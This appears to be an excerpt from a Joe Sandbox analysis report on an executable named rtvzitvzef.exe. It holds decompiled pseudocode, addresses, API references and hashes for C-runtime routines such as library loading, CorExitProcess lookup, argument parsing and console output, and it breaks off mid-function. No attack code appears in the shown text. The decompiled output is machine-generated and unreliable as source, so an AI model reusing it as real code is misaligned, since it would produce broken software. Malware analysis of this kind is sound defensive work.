          • Opcode ID: 62bc818260f3d61d15a3a2816a247d7c989dff70b0980e5c6bc77aebcd7fc6d4
          • Instruction ID: e86dbd8585806dd5d23d3718c6f18d027200fadb66ce12341b0a8af8e769dc64
          • Opcode Fuzzy Hash: 62bc818260f3d61d15a3a2816a247d7c989dff70b0980e5c6bc77aebcd7fc6d4
          • Instruction Fuzzy Hash: EF41D734A002199BCF10DF69C988A9EBBB0AF44314F14807AED14BB3D2D7B9DA55CB95
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E004082D3(void* __ecx, signed int* _a4, intOrPtr _a8) {
          				signed int _v8;
          				void* _t20;
          				void* _t22;
          				WCHAR* _t26;
          				signed int _t29;
          				void** _t30;
          				signed int* _t35;
          				void* _t38;
          				void* _t40;
          
          				_t35 = _a4;
          				while(_t35 != _a8) {
          					_t29 =  *_t35;
          					_v8 = _t29;
          					_t38 =  *(0x416300 + _t29 * 4);
          					if(_t38 == 0) {
          						_t26 =  *(0x40fa88 + _t29 * 4);
          						_t38 = LoadLibraryExW(_t26, 0, 0x800);
          						if(_t38 != 0) {
          							L14:
          							_t30 = 0x416300 + _v8 * 4;
          							 *_t30 = _t38;
          							if( *_t30 != 0) {
          								FreeLibrary(_t38);
          							}
          							L16:
          							_t20 = _t38;
          							L13:
          							return _t20;
          						}
          						_t22 = GetLastError();
          						if(_t22 != 0x57) {
          							L9:
          							 *(0x416300 + _v8 * 4) = _t22 | 0xffffffff;
          							L10:
          							_t35 =  &(_t35[1]);
          							continue;
          						}
          						_t22 = E00405A18(_t26, L"api-ms-", 7);
          						_t40 = _t40 + 0xc;
          						if(_t22 == 0) {
          							goto L9;
          						}
          						_t22 = E00405A18(_t26, L"ext-ms-", 7);
          						_t40 = _t40 + 0xc;
          						if(_t22 == 0) {
          							goto L9;
          						}
          						_t22 = LoadLibraryExW(_t26, _t38, _t38);
          						_t38 = _t22;
          						if(_t38 != 0) {
          							goto L14;
          						}
          						goto L9;
          					}
          					if(_t38 != 0xffffffff) {
          						goto L16;
          					}
          					goto L10;
          				}
          				_t20 = 0;
          				goto L13;
          			}












          0x004082dc
          0x00408371
          0x004082e4
          0x004082e6
          0x004082f0
          0x004082f5
          0x00408302
          0x00408317
          0x0040831b
          0x00408381
          0x00408386
          0x0040838d
          0x00408391
          0x00408394
          0x00408394
          0x0040839a
          0x0040839a
          0x0040837c
          0x00408380
          0x00408380
          0x0040831d
          0x00408326
          0x0040835f
          0x0040836c
          0x0040836e
          0x0040836e
          0x00000000
          0x0040836e
          0x00408330
          0x00408335
          0x0040833a
          0x00000000
          0x00000000
          0x00408344
          0x00408349
          0x0040834e
          0x00000000
          0x00000000
          0x00408353
          0x00408359
          0x0040835d
          0x00000000
          0x00000000
          0x00000000
          0x0040835d
          0x004082fa
          0x00000000
          0x00000000
          0x00000000
          0x00408300
          0x0040837a
          0x00000000

          APIs
          • FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,0B34C714,?,004083E2,00000002,00000000,00000000), ref: 00408394
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: FreeLibrary
          • String ID: api-ms-$ext-ms-
          • API String ID: 3664257935-537541572
          • Opcode ID: c9283d596dd430a65ff98e794139049b5b5b47e480c88dd665e719789acae378
          • Instruction ID: 573f1ada4d3828c880b6c39e4f7b2ce1dfde6baafd70aff868d57e190d54574b
          • Opcode Fuzzy Hash: c9283d596dd430a65ff98e794139049b5b5b47e480c88dd665e719789acae378
          • Instruction Fuzzy Hash: F1212B32A00221EBC7219B229D40A9F3368EB81B60F25053AED55B73D0DF79ED01CADD
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 82%
          			E004029C1(void* __ecx) {
          				void* _t8;
          				void* _t11;
          				void* _t13;
          				void* _t14;
          				void* _t18;
          				void* _t23;
          				long _t24;
          				void* _t27;
          
          				_t13 = __ecx;
          				if( *0x415040 != 0xffffffff) {
          					_t24 = GetLastError();
          					_t11 = E00402CA4(_t13,  *0x415040);
          					_t14 = _t23;
          					if(_t11 == 0xffffffff) {
          						L5:
          						_t11 = 0;
          					} else {
          						if(_t11 == 0) {
          							if(E00402CDF(_t14,  *0x415040, 0xffffffff) != 0) {
          								_push(0x28);
          								_t27 = E004057DE();
          								_t18 = 1;
          								if(_t27 == 0) {
          									L8:
          									_t11 = 0;
          									E00402CDF(_t18,  *0x415040, 0);
          								} else {
          									_t8 = E00402CDF(_t18,  *0x415040, _t27);
          									_pop(_t18);
          									if(_t8 != 0) {
          										_t11 = _t27;
          										_t27 = 0;
          									} else {
          										goto L8;
          									}
          								}
          								E0040571A(_t27);
          							} else {
          								goto L5;
          							}
          						}
          					}
          					SetLastError(_t24);
          					return _t11;
          				} else {
          					return 0;
          				}
          			}











          0x004029c1
          0x004029c8
          0x004029db
          0x004029e2
          0x004029e4
          0x004029e8
          0x00402a01
          0x00402a01
          0x004029ea
          0x004029ec
          0x004029ff
          0x00402a06
          0x00402a0f
          0x00402a12
          0x00402a15
          0x00402a29
          0x00402a29
          0x00402a32
          0x00402a17
          0x00402a1e
          0x00402a24
          0x00402a27
          0x00402a3b
          0x00402a3d
          0x00000000
          0x00000000
          0x00000000
          0x00402a27
          0x00402a40
          0x00000000
          0x00000000
          0x00000000
          0x004029ff
          0x004029ec
          0x00402a48
          0x00402a52
          0x004029ca
          0x004029cc
          0x004029cc

          APIs
          • GetLastError.KERNEL32(?,?,004029B8,004027E8,00401E66), ref: 004029CF
          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004029DD
          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004029F6
          • SetLastError.KERNEL32(00000000,004029B8,004027E8,00401E66), ref: 00402A48
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ErrorLastValue___vcrt_
          • String ID:
          • API String ID: 3852720340-0
          • Opcode ID: 70247efa9ed0a105f5c3cc4c9e138fb419d640718360533235fe7f9ad7db5892
          • Instruction ID: 078a338927bebc8a57084cdf0b2594a36b0b0cb36656b2d2252d312e3d5e2cf0
          • Opcode Fuzzy Hash: 70247efa9ed0a105f5c3cc4c9e138fb419d640718360533235fe7f9ad7db5892
          • Instruction Fuzzy Hash: FA012832308A119EE63566B9AE8D5AB2F44EB45338B20023FF510755E1EFFD4C01699C
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 25%
          			E00404F84(intOrPtr _a4) {
          				char _v16;
          				signed int _v20;
          				signed int _t11;
          				int _t14;
          				void* _t16;
          				void* _t20;
          				int _t22;
          				signed int _t23;
          
          				_t11 =  *0x415010; // 0xb34c714
          				 *[fs:0x0] =  &_v16;
          				_v20 = _v20 & 0x00000000;
          				_t14 =  &_v20;
          				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], 0x40d42f, 0xffffffff);
          				if(_t14 != 0) {
          					_t14 = GetProcAddress(_v20, "CorExitProcess");
          					_t22 = _t14;
          					if(_t22 != 0) {
          						 *0x40e160(_a4);
          						_t14 =  *_t22();
          					}
          				}
          				if(_v20 != 0) {
          					_t14 = FreeLibrary(_v20);
          				}
          				 *[fs:0x0] = _v16;
          				return _t14;
          			}











          0x00404f99
          0x00404fa4
          0x00404faa
          0x00404fae
          0x00404fb9
          0x00404fc1
          0x00404fcb
          0x00404fd1
          0x00404fd5
          0x00404fdc
          0x00404fe2
          0x00404fe2
          0x00404fd5
          0x00404fe8
          0x00404fed
          0x00404fed
          0x00404ff6
          0x00405000

          APIs
          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,0B34C714,?,?,00000000,0040D42F,000000FF,?,00404F60,00000002,?,00404F34,004057DD), ref: 00404FB9
          • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00404FCB
          • FreeLibrary.KERNEL32(00000000,?,?,00000000,0040D42F,000000FF,?,00404F60,00000002,?,00404F34,004057DD), ref: 00404FED
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: AddressFreeHandleLibraryModuleProc
          • String ID: CorExitProcess$mscoree.dll
          • API String ID: 4061214504-1276376045
          • Opcode ID: 44008817a766496d30a0b71b405d55bf33a24efc73ce07632b22a39922047233
          • Instruction ID: f45cf89818bd8daf17f7f5fa5db09656c02fb6dca8b021926776a3611c212177
          • Opcode Fuzzy Hash: 44008817a766496d30a0b71b405d55bf33a24efc73ce07632b22a39922047233
          • Instruction Fuzzy Hash: 1101A771914626EBDB119F51DC05FAEBBB8FB44715F00493AE811B22D0DBB89900CB54
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 58%
          			E00409AC0(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
          				signed int _v8;
          				intOrPtr _v12;
          				void* _v24;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t40;
          				intOrPtr _t45;
          				signed int _t48;
          				void* _t51;
          				signed int _t55;
          				intOrPtr _t64;
          				intOrPtr _t69;
          				void* _t72;
          				intOrPtr _t73;
          				intOrPtr _t89;
          				void* _t90;
          				intOrPtr* _t92;
          				void* _t94;
          				intOrPtr* _t95;
          				signed int _t96;
          				void* _t97;
          				intOrPtr* _t98;
          				intOrPtr* _t100;
          				void* _t103;
          
          				_push(__ecx);
          				_push(__ecx);
          				_t40 =  *0x415010; // 0xb34c714
          				_v8 = _t40 ^ _t96;
          				_t89 = _a20;
          				if(_t89 > 0) {
          					_t69 = E0040AE45(_a16, _t89);
          					_t103 = _t69 - _t89;
          					_t4 = _t69 + 1; // 0x1
          					_t89 = _t4;
          					if(_t103 >= 0) {
          						_t89 = _t69;
          					}
          				}
          				_t71 = _a32;
          				if(_a32 == 0) {
          					_t71 =  *((intOrPtr*)( *_a4 + 8));
          					_a32 =  *((intOrPtr*)( *_a4 + 8));
          				}
          				_t45 = E004073AA(_t71, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t89, 0, 0);
          				_t98 = _t97 + 0x18;
          				_v12 = _t45;
          				if(_t45 == 0) {
          					L38:
          					_pop(_t90);
          					_pop(_t94);
          					_pop(_t72);
          					return E004018D4(_t45, _t72, _v8 ^ _t96, 0x400, _t90, _t94);
          				} else {
          					_t16 = _t45 + _t45 + 8; // 0x8
          					asm("sbb eax, eax");
          					_t48 = _t45 + _t45 & _t16;
          					if(_t48 == 0) {
          						_t95 = 0;
          						L36:
          						_t73 = 0;
          						L37:
          						E00407EE5(_t95);
          						_t45 = _t73;
          						goto L38;
          					}
          					if(_t48 > 0x400) {
          						_t95 = E00407D48(_t48);
          						if(_t95 == 0) {
          							goto L36;
          						}
          						 *_t95 = 0xdddd;
          						L12:
          						if(_t95 == 0) {
          							goto L36;
          						}
          						_t51 = E004073AA(_t71, 1, _a16, _t89, _t95, _v12);
          						_t100 = _t98 + 0x18;
          						if(_t51 == 0) {
          							goto L36;
          						}
          						_t91 = _v12;
          						_t73 = E004085AD(_a8, _a12, _t95, _v12, 0, 0, 0, 0, 0);
          						if(_t73 == 0) {
          							goto L36;
          						}
          						if((_a12 & 0x00000400) == 0) {
          							_t30 = _t73 + _t73 + 8; // 0x8
          							asm("sbb eax, eax");
          							_t55 = _t73 + _t73 & _t30;
          							if(_t55 == 0) {
          								_t92 = 0;
          								L34:
          								E00407EE5(_t92);
          								goto L36;
          							}
          							if(_t55 > 0x400) {
          								_t92 = E00407D48(_t55);
          								if(_t92 == 0) {
          									goto L34;
          								}
          								 *_t92 = 0xdddd;
          								L26:
          								_t92 = _t92 + 8;
          								if(_t92 == 0 || E004085AD(_a8, _a12, _t95, _v12, _t92, _t73, 0, 0, 0) == 0) {
          									goto L34;
          								} else {
          									_push(0);
          									_push(0);
          									if(_a28 != 0) {
          										_push(_a28);
          										_push(_a24);
          									} else {
          										_push(0);
          										_push(0);
          									}
          									_push(_t73);
          									_push(_t92);
          									_push(0);
          									_push(_a32);
          									_t73 = E00407464();
          									if(_t73 == 0) {
          										goto L34;
          									} else {
          										E00407EE5(_t92);
          										goto L37;
          									}
          								}
          							}
          							E004018F0(_t55);
          							_t92 = _t100;
          							if(_t92 == 0) {
          								goto L34;
          							}
          							 *_t92 = 0xcccc;
          							goto L26;
          						}
          						_t64 = _a28;
          						if(_t64 == 0) {
          							goto L37;
          						}
          						if(_t73 > _t64) {
          							goto L36;
          						}
          						_t73 = E004085AD(_a8, _a12, _t95, _t91, _a24, _t64, 0, 0, 0);
          						if(_t73 != 0) {
          							goto L37;
          						}
          						goto L36;
          					}
          					E004018F0(_t48);
          					_t95 = _t98;
          					if(_t95 == 0) {
          						goto L36;
          					}
          					 *_t95 = 0xcccc;
          					goto L12;
          				}
          			}




























          0x00409ac5
          0x00409ac6
          0x00409ac7
          0x00409ace
          0x00409ad4
          0x00409ad9
          0x00409adf
          0x00409ae5
          0x00409ae8
          0x00409ae8
          0x00409aeb
          0x00409aed
          0x00409aed
          0x00409aeb
          0x00409aef
          0x00409af4
          0x00409afb
          0x00409afe
          0x00409afe
          0x00409b1a
          0x00409b1f
          0x00409b22
          0x00409b27
          0x00409c9d
          0x00409ca0
          0x00409ca1
          0x00409ca2
          0x00409cae
          0x00409b2d
          0x00409b2f
          0x00409b34
          0x00409b36
          0x00409b38
          0x00409c90
          0x00409c92
          0x00409c92
          0x00409c94
          0x00409c95
          0x00409c9b
          0x00000000
          0x00409c9b
          0x00409b43
          0x00409b62
          0x00409b67
          0x00000000
          0x00000000
          0x00409b6d
          0x00409b73
          0x00409b78
          0x00000000
          0x00000000
          0x00409b89
          0x00409b8e
          0x00409b93
          0x00000000
          0x00000000
          0x00409b99
          0x00409bb0
          0x00409bb4
          0x00000000
          0x00000000
          0x00409bc2
          0x00409bff
          0x00409c04
          0x00409c06
          0x00409c08
          0x00409c85
          0x00409c87
          0x00409c88
          0x00000000
          0x00409c8d
          0x00409c0c
          0x00409c27
          0x00409c2c
          0x00000000
          0x00000000
          0x00409c2e
          0x00409c34
          0x00409c34
          0x00409c39
          0x00000000
          0x00409c55
          0x00409c57
          0x00409c58
          0x00409c5c
          0x00409c7d
          0x00409c80
          0x00409c5e
          0x00409c5e
          0x00409c5f
          0x00409c5f
          0x00409c60
          0x00409c61
          0x00409c62
          0x00409c63
          0x00409c6b
          0x00409c72
          0x00000000
          0x00409c74
          0x00409c75
          0x00000000
          0x00409c7a
          0x00409c72
          0x00409c39
          0x00409c0e
          0x00409c13
          0x00409c17
          0x00000000
          0x00000000
          0x00409c19
          0x00000000
          0x00409c19
          0x00409bc4
          0x00409bc9
          0x00000000
          0x00000000
          0x00409bd1
          0x00000000
          0x00000000
          0x00409bed
          0x00409bf1
          0x00000000
          0x00000000
          0x00000000
          0x00409bf7
          0x00409b45
          0x00409b4a
          0x00409b4e
          0x00000000
          0x00000000
          0x00409b54
          0x00000000
          0x00409b54

          APIs
          • __alloca_probe_16.LIBCMT ref: 00409B45
          • __alloca_probe_16.LIBCMT ref: 00409C0E
          • __freea.LIBCMT ref: 00409C75
            • Part of subcall function 00407D48: RtlAllocateHeap.NTDLL(00000000,00406E77,?,?,00406E77,00000220,?,00000000,?), ref: 00407D7A
          • __freea.LIBCMT ref: 00409C88
          • __freea.LIBCMT ref: 00409C95
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: __freea$__alloca_probe_16$AllocateHeap
          • String ID:
          • API String ID: 1423051803-0
          • Opcode ID: f6944c5e00c5e4c39a1b83b9d8c7ae9ea2b5230d77e8078ec350ae024e7a64ca
          • Instruction ID: f5d5e5908dbe2b0eece80851408d63fed06286bdfdf7f28fe4aa87bf0313151d
          • Opcode Fuzzy Hash: f6944c5e00c5e4c39a1b83b9d8c7ae9ea2b5230d77e8078ec350ae024e7a64ca
          • Instruction Fuzzy Hash: C351A172A042066FFB209F65CC85EBB36E9EF84714F15453EFC04B6292E638DC109669
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 89%
          			E00404751(void* __edx, intOrPtr _a4) {
          				signed int _v8;
          				void* _v12;
          				char _v16;
          				void* __ebx;
          				void* __edi;
          				intOrPtr* _t33;
          				intOrPtr _t36;
          				intOrPtr* _t41;
          				intOrPtr* _t42;
          				WCHAR* _t47;
          				intOrPtr _t52;
          				void* _t55;
          				intOrPtr* _t56;
          				intOrPtr _t57;
          				intOrPtr _t58;
          				intOrPtr _t61;
          				intOrPtr _t64;
          
          				_t55 = __edx;
          				_t57 = _a4;
          				if(_t57 != 0) {
          					if(_t57 == 2 || _t57 == 1) {
          						GetModuleFileNameW(0, 0x415d20, 0x104);
          						 *0x415f88 = 0x415d20;
          						_t47 =  *0x415f9c; // 0x7a1c9c
          						if(_t47 == 0 ||  *_t47 == 0) {
          							_t47 = 0x415d20;
          						}
          						_v8 = 0;
          						_v16 = 0;
          						_t61 = E00404A28(E00404887(_t47, 0, 0,  &_v8,  &_v16), _v8, _v16, 2);
          						if(_t61 != 0) {
          							E00404887(_t47, _t61, _t61 + _v8 * 4,  &_v8,  &_v16);
          							if(_t57 != 1) {
          								_push( &_v12);
          								_v12 = 0;
          								_t58 = E00406A91(0, _t55, _t57, _t61);
          								if(_t58 == 0) {
          									_t56 = _v12;
          									_t52 = 0;
          									_t33 = _t56;
          									if( *_t56 == 0) {
          										L17:
          										 *0x415f8c = _t52;
          										_v12 = 0;
          										 *0x415f94 = _t56;
          										E0040650B(0);
          										_t58 = 0;
          										L18:
          										_v12 = 0;
          										E0040650B(_t61);
          										_t36 = _t58;
          										goto L19;
          									} else {
          										goto L16;
          									}
          									do {
          										L16:
          										_t33 = _t33 + 4;
          										_t52 = _t52 + 1;
          									} while ( *_t33 != 0);
          									goto L17;
          								}
          								E0040650B(_v12);
          								goto L18;
          							}
          							 *0x415f94 = _t61;
          							 *0x415f8c = _v8 - 1;
          							goto L12;
          						} else {
          							_t41 = E0040649B();
          							_push(0xc);
          							_pop(0);
          							 *_t41 = 0;
          							L12:
          							E0040650B(0);
          							_t36 = 0;
          							L19:
          							goto L20;
          						}
          					} else {
          						_t42 = E0040649B();
          						_t64 = 0x16;
          						 *_t42 = _t64;
          						E004062A0();
          						_t36 = _t64;
          						L20:
          						return _t36;
          					}
          				}
          				return 0;
          			}




















          0x00404751
          0x0040475a
          0x0040475f
          0x0040476c
          0x00404798
          0x0040479e
          0x004047a4
          0x004047ac
          0x004047b3
          0x004047b3
          0x004047bb
          0x004047c2
          0x004047db
          0x004047e2
          0x00404801
          0x0040480c
          0x0040482f
          0x00404831
          0x00404839
          0x0040483f
          0x0040484b
          0x0040484e
          0x00404850
          0x00404854
          0x0040485e
          0x0040485f
          0x00404865
          0x00404868
          0x0040486e
          0x00404873
          0x00404875
          0x00404877
          0x0040487a
          0x0040487f
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00404856
          0x00404856
          0x00404856
          0x00404859
          0x0040485a
          0x00000000
          0x00404856
          0x00404844
          0x00000000
          0x00404844
          0x00404812
          0x00404818
          0x00000000
          0x004047e4
          0x004047e4
          0x004047e9
          0x004047eb
          0x004047ec
          0x0040481f
          0x00404821
          0x00404826
          0x00404881
          0x00000000
          0x00404882
          0x00404773
          0x00404773
          0x0040477a
          0x0040477b
          0x0040477d
          0x00404782
          0x00404883
          0x00000000
          0x00404883
          0x0040476c
          0x00000000

          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID: ]A$C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe$pLz
          • API String ID: 0-3745719489
          • Opcode ID: 4b1e80dd0c630a597ae57bd7ace0b530a474018883af56ddac1066d4e5a9de18
          • Instruction ID: 516f48771e3ea8525e46061b4c90816104fcc3183a12e04dc85d04e75a492b31
          • Opcode Fuzzy Hash: 4b1e80dd0c630a597ae57bd7ace0b530a474018883af56ddac1066d4e5a9de18
          • Instruction Fuzzy Hash: 0731D6B6A00214BFD711EF95DC819DFBBACEB85354B11847FF605B7281D6388D018B98
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00402BE3(WCHAR* _a4) {
          				struct HINSTANCE__* _t4;
          
          				_t4 = LoadLibraryExW(_a4, 0, 0x800);
          				if(_t4 != 0) {
          					return _t4;
          				} else {
          					if(GetLastError() != 0x57 || E00405A18(_a4, L"api-ms-", 7) == 0) {
          						return 0;
          					}
          					return LoadLibraryExW(_a4, 0, 0);
          				}
          			}




          0x00402bf0
          0x00402bf8
          0x00402c2d
          0x00402bfa
          0x00402c03
          0x00000000
          0x00402c2a
          0x00402c29
          0x00402c29

          APIs
          • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00402B94,00000000,?,00415C98,?,?,?,00402D37,00000004,InitializeCriticalSectionEx,0040EC70,InitializeCriticalSectionEx), ref: 00402BF0
          • GetLastError.KERNEL32(?,00402B94,00000000,?,00415C98,?,?,?,00402D37,00000004,InitializeCriticalSectionEx,0040EC70,InitializeCriticalSectionEx,00000000,?,00402AB7), ref: 00402BFA
          • LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00402C22
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: LibraryLoad$ErrorLast
          • String ID: api-ms-
          • API String ID: 3177248105-2084034818
          • Opcode ID: 6c1d3bad6412e7e4ca00ce12fd0f74fdde52119193a629733f7392a7739fe272
          • Instruction ID: e589de4d7b83ec3a89ad76cef1a63b0294eee27024da7e6f7d3f22e711884464
          • Opcode Fuzzy Hash: 6c1d3bad6412e7e4ca00ce12fd0f74fdde52119193a629733f7392a7739fe272
          • Instruction Fuzzy Hash: 2CE01230644204B6FB111B62EE0AB1E3A54AB10B55F104831F90DB41E1EBF69964899C
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 78%
          			E00409F8D(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
          				char _v16;
          				signed int _v20;
          				char _v28;
          				char _v35;
          				signed char _v36;
          				void _v44;
          				signed char* _v48;
          				char _v49;
          				long _v56;
          				long _v60;
          				intOrPtr _v64;
          				struct _OVERLAPPED* _v68;
          				signed int _v72;
          				signed char* _v76;
          				signed int _v80;
          				signed int _v84;
          				intOrPtr _v88;
          				void _v92;
          				long _v96;
          				signed char* _v100;
          				void* _v104;
          				char _v108;
          				int _v112;
          				intOrPtr _v116;
          				struct _OVERLAPPED* _v120;
          				struct _OVERLAPPED* _v124;
          				struct _OVERLAPPED* _v128;
          				struct _OVERLAPPED* _v132;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t174;
          				signed int _t175;
          				signed int _t177;
          				int _t183;
          				signed char* _t186;
          				signed int _t190;
          				signed char _t191;
          				intOrPtr _t194;
          				void* _t196;
          				long _t197;
          				long _t201;
          				signed char* _t207;
          				void _t209;
          				signed char* _t214;
          				void* _t221;
          				char _t224;
          				char* _t228;
          				void* _t237;
          				long _t243;
          				signed int _t244;
          				signed char* _t245;
          				void* _t255;
          				intOrPtr _t261;
          				void* _t262;
          				struct _OVERLAPPED* _t263;
          				intOrPtr* _t264;
          				signed int _t265;
          				intOrPtr _t266;
          				signed int _t271;
          				struct _OVERLAPPED* _t274;
          				signed int _t276;
          				signed char _t281;
          				signed int _t285;
          				signed char* _t286;
          				struct _OVERLAPPED* _t289;
          				void* _t292;
          				signed int _t293;
          				signed int _t295;
          				struct _OVERLAPPED* _t296;
          				signed char* _t298;
          				intOrPtr* _t299;
          				void* _t300;
          				signed int _t301;
          				long _t302;
          				signed int _t304;
          				signed int _t305;
          				void* _t306;
          				void* _t307;
          				void* _t308;
          
          				_push(0xffffffff);
          				_push(0x40d469);
          				_push( *[fs:0x0]);
          				_t307 = _t306 - 0x74;
          				_t174 =  *0x415010; // 0xb34c714
          				_t175 = _t174 ^ _t305;
          				_v20 = _t175;
          				_push(_t175);
          				 *[fs:0x0] =  &_v16;
          				_t177 = _a8;
          				_t298 = _a12;
          				_t261 = _a20;
          				_t265 = (_t177 & 0x0000003f) * 0x38;
          				_t285 = _t177 >> 6;
          				_v100 = _t298;
          				_v64 = _t261;
          				_v72 = _t285;
          				_v84 = _t265;
          				_v104 =  *((intOrPtr*)(_t265 +  *((intOrPtr*)(0x4160f8 + _t285 * 4)) + 0x18));
          				_v88 = _a16 + _t298;
          				_t183 = GetConsoleOutputCP();
          				_t309 =  *((char*)(_t261 + 0x14));
          				_v112 = _t183;
          				if( *((char*)(_t261 + 0x14)) == 0) {
          					E00405940(_t261, _t285, _t309);
          				}
          				_t299 = _a4;
          				_t266 =  *((intOrPtr*)( *((intOrPtr*)(_t261 + 0xc)) + 8));
          				asm("stosd");
          				_v116 = _t266;
          				asm("stosd");
          				asm("stosd");
          				_t186 = _v100;
          				_t286 = _t186;
          				_v48 = _t286;
          				if(_t186 < _v88) {
          					_t293 = _v84;
          					_t263 = 0;
          					_v76 = 0;
          					while(1) {
          						_v49 =  *_t286;
          						_t190 = _v72;
          						_v68 = _t263;
          						_v56 = 1;
          						if(_t266 != 0xfde9) {
          							goto L22;
          						}
          						_t274 = _t263;
          						_t228 =  *(0x4160f8 + _t190 * 4) + 0x2e + _t293;
          						_v76 = _t228;
          						while( *_t228 != 0) {
          							_t274 =  &(_t274->Internal);
          							_t228 = _t228 + 1;
          							if(_t274 < 5) {
          								continue;
          							}
          							break;
          						}
          						_t295 = _v88 - _t286;
          						_v56 = _t274;
          						if(_t274 <= 0) {
          							_t276 =  *((char*)(( *_t286 & 0x000000ff) + 0x415778)) + 1;
          							_v80 = _t276;
          							__eflags = _t276 - _t295;
          							if(_t276 > _t295) {
          								__eflags = _t295;
          								if(_t295 <= 0) {
          									goto L44;
          								} else {
          									_t301 = _v84;
          									do {
          										 *((char*)( *((intOrPtr*)(0x4160f8 + _v72 * 4)) + _t301 + _t263 + 0x2e)) =  *((intOrPtr*)(_t263 + _t286));
          										_t263 =  &(_t263->Internal);
          										__eflags = _t263 - _t295;
          									} while (_t263 < _t295);
          									goto L43;
          								}
          								L52:
          							} else {
          								_v132 = _t263;
          								__eflags = _t276 - 4;
          								_v128 = _t263;
          								_v60 = _t286;
          								_v56 = (_t276 == 4) + 1;
          								_t237 = E0040AD3D( &_v132,  &_v68,  &_v60, (_t276 == 4) + 1,  &_v132, _v64);
          								_t308 = _t307 + 0x14;
          								__eflags = _t237 - 0xffffffff;
          								if(_t237 != 0xffffffff) {
          									_t293 = _v84;
          									goto L21;
          								}
          							}
          						} else {
          							_t243 =  *((char*)(( *_v76 & 0x000000ff) + 0x415778)) + 1;
          							_v60 = _t243;
          							_t244 = _t243 - _t274;
          							_v80 = _t244;
          							if(_t244 > _t295) {
          								__eflags = _t295;
          								if(_t295 > 0) {
          									_t245 = _v48;
          									_t302 = _v56;
          									do {
          										_t281 =  *((intOrPtr*)(_t263 + _t245));
          										_t286 =  *((intOrPtr*)(0x4160f8 + _v72 * 4)) + _v84 + _t263;
          										_t263 =  &(_t263->Internal);
          										_t286[_t302 + 0x2e] = _t281;
          										__eflags = _t263 - _t295;
          									} while (_t263 < _t295);
          									L43:
          									_t299 = _a4;
          								}
          								L44:
          								 *(_t299 + 4) =  &(( *(_t299 + 4))[_t295]);
          							} else {
          								_t296 = _t263;
          								_t264 = _v76;
          								do {
          									 *((char*)(_t305 + _t296 - 0x18)) =  *_t264;
          									_t296 =  &(_t296->Internal);
          									_t264 = _t264 + 1;
          								} while (_t296 < _t274);
          								_t303 = _v80;
          								_t263 = 0;
          								if(_v80 > 0) {
          									E00403120( &_v28 + _t274, _t286, _t303);
          									_t274 = _v56;
          									_t307 = _t307 + 0xc;
          								}
          								_t293 = _v84;
          								_t289 = _t263;
          								_t304 = _v72;
          								do {
          									 *( *((intOrPtr*)(0x4160f8 + _t304 * 4)) + _t293 + _t289 + 0x2e) = _t263;
          									_t289 =  &(_t289->Internal);
          								} while (_t289 < _t274);
          								_t299 = _a4;
          								_v108 =  &_v28;
          								_v124 = _t263;
          								_v120 = _t263;
          								_v56 = (_v60 == 4) + 1;
          								_t255 = E0040AD3D( &_v124,  &_v68,  &_v108, (_v60 == 4) + 1,  &_v124, _v64);
          								_t308 = _t307 + 0x14;
          								if(_t255 != 0xffffffff) {
          									L21:
          									_t197 =  &(_v48[_v80]) - 1;
          									L31:
          									_v48 = _t197 + 1;
          									_t201 = E00407464(_v112, _t263,  &_v68, _v56,  &_v44, 5, _t263, _t263);
          									_t307 = _t308 + 0x20;
